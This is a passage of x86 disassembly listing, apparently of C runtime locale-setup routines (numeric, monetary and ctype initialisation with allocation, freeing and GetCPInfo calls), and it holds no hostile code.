		mov	ecx, [eax+28h]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+34h]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+38h]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+40h]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+44h]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+48h]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4Ch]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+50h]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+54h]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+58h]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+5Ch]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+60h]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+64h]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+68h]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+6Ch]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+70h]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+74h]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+78h]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+7Ch]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+80h]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+84h]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+88h]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8Ch]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+90h]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+94h]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+98h]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+9Ch]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0A0h]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0A4h]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0A8h]
		push	ecx
		call	sub_415C60
		add	esp, 8


loc_42C6E9:				; CODE XREF: sub_42C3E0+9j
		pop	ebp
		retn
sub_42C3E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C6F0	proc near		; DATA XREF: .data:00447998o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		xor	eax, eax
		mov	ax, word_4DE1FE
		mov	[ebp+var_4], eax
		cmp	dword_4DE07C, 0
		jz	loc_42C86A
		push	offset dword_4DE1CC
		push	0Eh
		mov	ecx, [ebp+var_4]
		push	ecx
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	edx, [ebp+var_8]
		or	edx, eax
		mov	[ebp+var_8], edx
		push	offset dword_4DE1D0
		push	0Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		push	offset dword_4DE1D4
		push	10h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, dword_4DE1D4
		push	edx
		call	sub_42C9A0
		add	esp, 4
		cmp	[ebp+var_8], 0
		jz	short loc_42C7D9
		push	2
		mov	eax, dword_4DE1CC
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, dword_4DE1D0
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, dword_4DE1D4
		push	edx
		call	sub_415C60
		add	esp, 8
		mov	dword_4DE1CC, 0
		mov	dword_4DE1D0, 0
		mov	dword_4DE1D4, 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42C992
; ---------------------------------------------------------------------------


loc_42C7D9:				; CODE XREF: sub_42C6F0+8Fj
		mov	eax, off_448398
		cmp	dword ptr [eax], offset	dword_448360
		jz	short loc_42C820
		push	2
		mov	ecx, off_448398
		mov	edx, [ecx]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, off_448398
		mov	ecx, [eax+4]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, off_448398
		mov	eax, [edx+8]
		push	eax
		call	sub_415C60
		add	esp, 8


loc_42C820:				; CODE XREF: sub_42C6F0+F4j
		mov	ecx, off_448398
		mov	edx, dword_4DE1CC
		mov	[ecx], edx
		mov	eax, off_448398
		mov	ecx, dword_4DE1D0
		mov	[eax+4], ecx
		mov	edx, off_448398
		mov	eax, dword_4DE1D4
		mov	[edx+8], eax
		mov	ecx, off_448398
		mov	edx, [ecx]
		mov	al, [edx]
		mov	byte_447484, al
		mov	dword_447488, 1
		xor	eax, eax
		jmp	loc_42C992
; ---------------------------------------------------------------------------


loc_42C86A:				; CODE XREF: sub_42C6F0+1Fj
		push	2
		mov	ecx, dword_4DE1CC
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, dword_4DE1D0
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, dword_4DE1D4
		push	eax
		call	sub_415C60
		add	esp, 8
		mov	dword_4DE1CC, 0
		mov	dword_4DE1D0, 0
		mov	dword_4DE1D4, 0
		push	88h
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_4150C0
		add	esp, 10h
		mov	ecx, off_448398
		mov	[ecx], eax
		mov	edx, off_448398
		cmp	dword ptr [edx], 0
		jnz	short loc_42C8EB
		or	eax, 0FFFFFFFFh
		jmp	loc_42C992
; ---------------------------------------------------------------------------


loc_42C8EB:				; CODE XREF: sub_42C6F0+1F1j
		push	offset a__1	; "."
		mov	eax, off_448398
		mov	ecx, [eax]
		push	ecx
		call	sub_418870
		add	esp, 8
		push	8Dh
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_4150C0
		add	esp, 10h
		mov	edx, off_448398
		mov	[edx+4], eax
		mov	eax, off_448398
		cmp	dword ptr [eax+4], 0
		jnz	short loc_42C92F
		or	eax, 0FFFFFFFFh
		jmp	short loc_42C992
; ---------------------------------------------------------------------------


loc_42C92F:				; CODE XREF: sub_42C6F0+238j
		mov	ecx, off_448398
		mov	edx, [ecx+4]
		mov	byte ptr [edx],	0
		push	92h
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_4150C0
		add	esp, 10h
		mov	ecx, off_448398
		mov	[ecx+8], eax
		mov	edx, off_448398
		cmp	dword ptr [edx+8], 0
		jnz	short loc_42C96B
		or	eax, 0FFFFFFFFh
		jmp	short loc_42C992
; ---------------------------------------------------------------------------


loc_42C96B:				; CODE XREF: sub_42C6F0+274j
		mov	eax, off_448398
		mov	ecx, [eax+8]
		mov	byte ptr [ecx],	0
		mov	edx, off_448398
		mov	eax, [edx]
		mov	cl, [eax]
		mov	byte_447484, cl
		mov	dword_447488, 1
		xor	eax, eax


loc_42C992:				; CODE XREF: sub_42C6F0+E4j
					; sub_42C6F0+175j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42C6F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C9A0	proc near		; CODE XREF: sub_42C6F0+83p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx


loc_42C9A4:				; CODE XREF: sub_42C9A0:loc_42CA17j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42CA19
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_42C9DD
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_42C9DD
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		sub	ecx, 30h
		mov	edx, [ebp+arg_0]
		mov	[edx], cl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_42CA17
; ---------------------------------------------------------------------------


loc_42C9DD:				; CODE XREF: sub_42C9A0+17j
					; sub_42C9A0+22j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_42CA0E
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_42C9EE:				; CODE XREF: sub_42C9A0+6Aj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_42C9EE
		jmp	short loc_42CA17
; ---------------------------------------------------------------------------


loc_42CA0E:				; CODE XREF: sub_42C9A0+46j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_42CA17:				; CODE XREF: sub_42C9A0+3Bj
					; sub_42C9A0+6Cj
		jmp	short loc_42C9A4
; ---------------------------------------------------------------------------


loc_42CA19:				; CODE XREF: sub_42C9A0+Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_42C9A0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DE078, 0
		jz	loc_42CAEC
		push	4Ah
		push	offset aInitmon_c ; "initmon.c"
		push	2
		push	30h
		push	1
		call	sub_415520
		add	esp, 14h
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_42CA59
		mov	eax, 1
		jmp	loc_42CB4C
; ---------------------------------------------------------------------------


loc_42CA59:				; CODE XREF: .data:0042CA4Dj
		mov	eax, [ebp-4]
		push	eax
		call	sub_42CB50
		add	esp, 4
		test	eax, eax
		jz	short loc_42CA8D
		mov	ecx, [ebp-4]
		push	ecx
		call	sub_42CDE0
		add	esp, 4
		push	2
		mov	edx, [ebp-4]
		push	edx
		call	sub_415C60
		add	esp, 8
		mov	eax, 1
		jmp	loc_42CB4C
; ---------------------------------------------------------------------------


loc_42CA8D:				; CODE XREF: .data:0042CA67j
		mov	eax, [ebp-4]
		mov	ecx, off_448398
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp-4]
		mov	ecx, off_448398
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp-4]
		mov	ecx, off_448398
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp-4]
		mov	off_448398, eax
		mov	ecx, dword_4DE1D8
		push	ecx
		call	sub_42CDE0
		add	esp, 4
		push	2
		mov	edx, dword_4DE1D8
		push	edx
		call	sub_415C60
		add	esp, 8
		mov	eax, [ebp-4]
		mov	dword_4DE1D8, eax
		xor	eax, eax
		jmp	short loc_42CB4C
; ---------------------------------------------------------------------------


loc_42CAEC:				; CODE XREF: .data:0042CA2Bj
		mov	ecx, off_448398
		mov	edx, [ecx]
		mov	off_448368, edx
		mov	eax, off_448398
		mov	ecx, [eax+4]
		mov	off_44836C, ecx
		mov	edx, off_448398
		mov	eax, [edx+8]
		mov	off_448370, eax
		mov	off_448398, offset off_448368
		mov	ecx, dword_4DE1D8
		push	ecx
		call	sub_42CDE0
		add	esp, 4
		push	2
		mov	edx, dword_4DE1D8
		push	edx
		call	sub_415C60
		add	esp, 8
		mov	dword_4DE1D8, 0
		xor	eax, eax


loc_42CB4C:				; CODE XREF: .data:0042CA54j
					; .data:0042CA88j ...
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CB50	proc near		; CODE XREF: .data:0042CA5Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		xor	eax, eax
		mov	ax, word_4DE1F8
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_42CB76
		or	eax, 0FFFFFFFFh
		jmp	loc_42CD59
; ---------------------------------------------------------------------------


loc_42CB76:				; CODE XREF: sub_42CB50+1Cj
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Ch
		push	ecx
		push	15h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 10h
		push	edx
		push	14h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 14h
		push	edx
		push	16h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 18h
		push	edx
		push	17h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1Ch
		push	edx
		push	18h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		push	eax
		call	sub_42CD60
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		push	50h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 24h
		push	edx
		push	51h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 28h
		push	edx
		push	1Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 29h
		push	edx
		push	19h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ah
		push	edx
		push	54h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Bh
		push	edx
		push	55h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ch
		push	edx
		push	56h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Dh
		push	edx
		push	57h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Eh
		push	edx
		push	52h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Fh
		push	edx
		push	53h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]


loc_42CD59:				; CODE XREF: sub_42CB50+21j
		mov	esp, ebp
		pop	ebp
		retn
sub_42CB50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CD60	proc near		; CODE XREF: sub_42CB50+C8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx


loc_42CD64:				; CODE XREF: sub_42CD60:loc_42CDD7j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42CDD9
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_42CD9D
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_42CD9D
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		sub	ecx, 30h
		mov	edx, [ebp+arg_0]
		mov	[edx], cl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_42CDD7
; ---------------------------------------------------------------------------


loc_42CD9D:				; CODE XREF: sub_42CD60+17j
					; sub_42CD60+22j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_42CDCE
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_42CDAE:				; CODE XREF: sub_42CD60+6Aj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_42CDAE
		jmp	short loc_42CDD7
; ---------------------------------------------------------------------------


loc_42CDCE:				; CODE XREF: sub_42CD60+46j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_42CDD7:				; CODE XREF: sub_42CD60+3Bj
					; sub_42CD60+6Cj
		jmp	short loc_42CD64
; ---------------------------------------------------------------------------


loc_42CDD9:				; CODE XREF: sub_42CD60+Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_42CD60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CDE0	proc near		; CODE XREF: .data:0042CA6Dp
					; .data:0042CAC7p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_42CDEE
		jmp	loc_42CE71
; ---------------------------------------------------------------------------


loc_42CDEE:				; CODE XREF: sub_42CDE0+7j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+0Ch], offset dword_4DE238
		jz	short loc_42CE71
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+20h]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		call	sub_415C60
		add	esp, 8


loc_42CE71:				; CODE XREF: sub_42CDE0+9j
					; sub_42CDE0+18j
		pop	ebp
		retn
sub_42CDE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	dword ptr [ebp-2Ch], 0
		mov	dword ptr [ebp-28h], 0
		cmp	dword_4DE074, 0
		jz	loc_42D1D1
		cmp	dword_4DE084, 0
		jnz	short loc_42CED0
		push	offset dword_4DE084
		push	1004h
		xor	eax, eax
		mov	ax, word_4DE1F0
		push	eax
		push	0
		call	sub_430D00
		add	esp, 10h
		test	eax, eax
		jz	short loc_42CED0
		jmp	loc_42D192
; ---------------------------------------------------------------------------


loc_42CED0:				; CODE XREF: .data:0042CEA8j
					; .data:0042CEC9j
		push	5Ch
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp-30h], eax
		push	5Eh
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp-1Ch], eax
		push	60h
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	101h
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp-2Ch], eax
		push	62h
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-30h], 0
		jz	short loc_42CF4C
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_42CF4C
		cmp	dword ptr [ebp-2Ch], 0
		jz	short loc_42CF4C
		cmp	dword ptr [ebp-28h], 0
		jnz	short loc_42CF51


loc_42CF4C:				; CODE XREF: .data:0042CF38j
					; .data:0042CF3Ej ...
		jmp	loc_42D192
; ---------------------------------------------------------------------------


loc_42CF51:				; CODE XREF: .data:0042CF4Aj
		mov	ecx, [ebp-2Ch]
		mov	[ebp-18h], ecx
		mov	dword ptr [ebp-20h], 0
		jmp	short loc_42CF69
; ---------------------------------------------------------------------------


loc_42CF60:				; CODE XREF: .data:0042CF83j
		mov	edx, [ebp-20h]
		add	edx, 1
		mov	[ebp-20h], edx


loc_42CF69:				; CODE XREF: .data:0042CF5Ej
		cmp	dword ptr [ebp-20h], 100h
		jge	short loc_42CF85
		mov	eax, [ebp-18h]
		mov	cl, [ebp-20h]
		mov	[eax], cl
		mov	edx, [ebp-18h]
		add	edx, 1
		mov	[ebp-18h], edx
		jmp	short loc_42CF60
; ---------------------------------------------------------------------------


loc_42CF85:				; CODE XREF: .data:0042CF70j
		lea	eax, [ebp-14h]
		push	eax
		mov	ecx, dword_4DE084
		push	ecx
		call	dword_4E04B4	; GetCPInfo
		test	eax, eax
		jnz	short loc_42CF9F
		jmp	loc_42D192
; ---------------------------------------------------------------------------


loc_42CF9F:				; CODE XREF: .data:0042CF98j
		cmp	dword ptr [ebp-14h], 2
		jbe	short loc_42CFAA
		jmp	loc_42D192
; ---------------------------------------------------------------------------


loc_42CFAA:				; CODE XREF: .data:0042CFA3j
		mov	edx, [ebp-14h]
		and	edx, 0FFFFh
		mov	dword_447480, edx
		cmp	dword_447480, 1
		jle	short loc_42D019
		lea	eax, [ebp-0Eh]
		mov	[ebp-18h], eax
		jmp	short loc_42CFD3
; ---------------------------------------------------------------------------


loc_42CFCA:				; CODE XREF: .data:loc_42D017j
		mov	ecx, [ebp-18h]
		add	ecx, 2
		mov	[ebp-18h], ecx


loc_42CFD3:				; CODE XREF: .data:0042CFC8j
		mov	edx, [ebp-18h]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_42D019
		mov	ecx, [ebp-18h]
		xor	edx, edx
		mov	dl, [ecx+1]
		test	edx, edx
		jz	short loc_42D019
		mov	eax, [ebp-18h]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp-20h], ecx
		jmp	short loc_42CFFF
; ---------------------------------------------------------------------------


loc_42CFF6:				; CODE XREF: .data:0042D015j
		mov	edx, [ebp-20h]
		add	edx, 1
		mov	[ebp-20h], edx


loc_42CFFF:				; CODE XREF: .data:0042CFF4j
		mov	eax, [ebp-18h]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	[ebp-20h], ecx
		jg	short loc_42D017
		mov	edx, [ebp-2Ch]
		add	edx, [ebp-20h]
		mov	byte ptr [edx],	0
		jmp	short loc_42CFF6
; ---------------------------------------------------------------------------


loc_42D017:				; CODE XREF: .data:0042D00Aj
		jmp	short loc_42CFCA
; ---------------------------------------------------------------------------


loc_42D019:				; CODE XREF: .data:0042CFC0j
					; .data:0042CFDCj ...
		push	0
		push	0
		push	0
		mov	eax, [ebp-30h]
		add	eax, 2
		push	eax
		push	100h
		mov	ecx, [ebp-2Ch]
		push	ecx
		push	1
		call	sub_429B60
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42D042
		jmp	loc_42D192
; ---------------------------------------------------------------------------


loc_42D042:				; CODE XREF: .data:0042D03Bj
		mov	edx, [ebp-30h]
		mov	word ptr [edx],	0
		mov	eax, [ebp-28h]
		mov	[ebp-24h], eax
		mov	dword ptr [ebp-20h], 0
		jmp	short loc_42D062
; ---------------------------------------------------------------------------


loc_42D059:				; CODE XREF: .data:0042D07Ej
		mov	ecx, [ebp-20h]
		add	ecx, 1
		mov	[ebp-20h], ecx


loc_42D062:				; CODE XREF: .data:0042D057j
		cmp	dword ptr [ebp-20h], 100h
		jge	short loc_42D080
		mov	edx, [ebp-24h]
		mov	ax, [ebp-20h]
		mov	[edx], ax
		mov	ecx, [ebp-24h]
		add	ecx, 2
		mov	[ebp-24h], ecx
		jmp	short loc_42D059
; ---------------------------------------------------------------------------


loc_42D080:				; CODE XREF: .data:0042D069j
		push	0
		push	0
		mov	edx, [ebp-1Ch]
		add	edx, 2
		push	edx
		push	100h
		mov	eax, [ebp-28h]
		push	eax
		push	1
		call	sub_430FA0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42D0A7
		jmp	loc_42D192
; ---------------------------------------------------------------------------


loc_42D0A7:				; CODE XREF: .data:0042D0A0j
		mov	ecx, [ebp-1Ch]
		mov	word ptr [ecx],	0
		cmp	dword_447480, 1
		jle	short loc_42D113
		lea	edx, [ebp-0Eh]
		mov	[ebp-18h], edx
		jmp	short loc_42D0C9
; ---------------------------------------------------------------------------


loc_42D0C0:				; CODE XREF: .data:loc_42D111j
		mov	eax, [ebp-18h]
		add	eax, 2
		mov	[ebp-18h], eax


loc_42D0C9:				; CODE XREF: .data:0042D0BEj
		mov	ecx, [ebp-18h]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_42D113
		mov	eax, [ebp-18h]
		xor	ecx, ecx
		mov	cl, [eax+1]
		test	ecx, ecx
		jz	short loc_42D113
		mov	edx, [ebp-18h]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp-20h], eax
		jmp	short loc_42D0F5
; ---------------------------------------------------------------------------


loc_42D0EC:				; CODE XREF: .data:0042D10Fj
		mov	ecx, [ebp-20h]
		add	ecx, 1
		mov	[ebp-20h], ecx


loc_42D0F5:				; CODE XREF: .data:0042D0EAj
